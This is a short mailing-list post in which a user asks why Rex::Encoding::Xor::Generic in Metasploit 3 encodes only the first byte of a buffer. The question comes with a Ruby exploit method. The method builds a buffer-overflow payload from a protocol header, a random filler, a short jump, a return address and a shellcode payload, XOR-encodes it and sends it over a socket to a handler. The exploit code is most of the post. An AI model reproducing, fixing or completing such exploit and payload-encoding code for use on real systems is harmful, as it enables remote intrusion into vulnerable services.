Need assistance with payload xor

[ri0t at ri0tnet.net (ri0t)]

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having a bit of trouble xor'ing a payload in the new metasploit 3  
using Rex::Encoding::Xor::Generic

below is a small snippet of code

def exploit
                 xor = Rex::Encoding::Xor::Generic
                 connect

                 print_status("Trying target #{target.name}...")

                 header =
                "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00 
\x00\x00\x00"+
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00 
\x00\x00\x00"+
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 
\x00\x00\x01"+
                "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"

                 filler =  rand_text_english(1) * (target['Offset'])
                 jump = [0xeb06eb06].pack("V")
                 retadd = [target.ret].pack('V')
                 buffer=jump+retadd+payload.encoded
                 buffercoded= xor.encode(buffer, [0xb3].pack("V"))
                 sploit =  header + filler + buffercoded[0]
                 sock.put(sploit)

                 handler
                 disconnect
         end


unfortunatly the xor.encode only xor's the first byte of jump retadd  
and payload   not the entire buffer.  I am sure its something i am  
missing due to a simple lack of ruby knowledge but if anyone could  
point me in the right direction i would be greatful

thanks

ri0t
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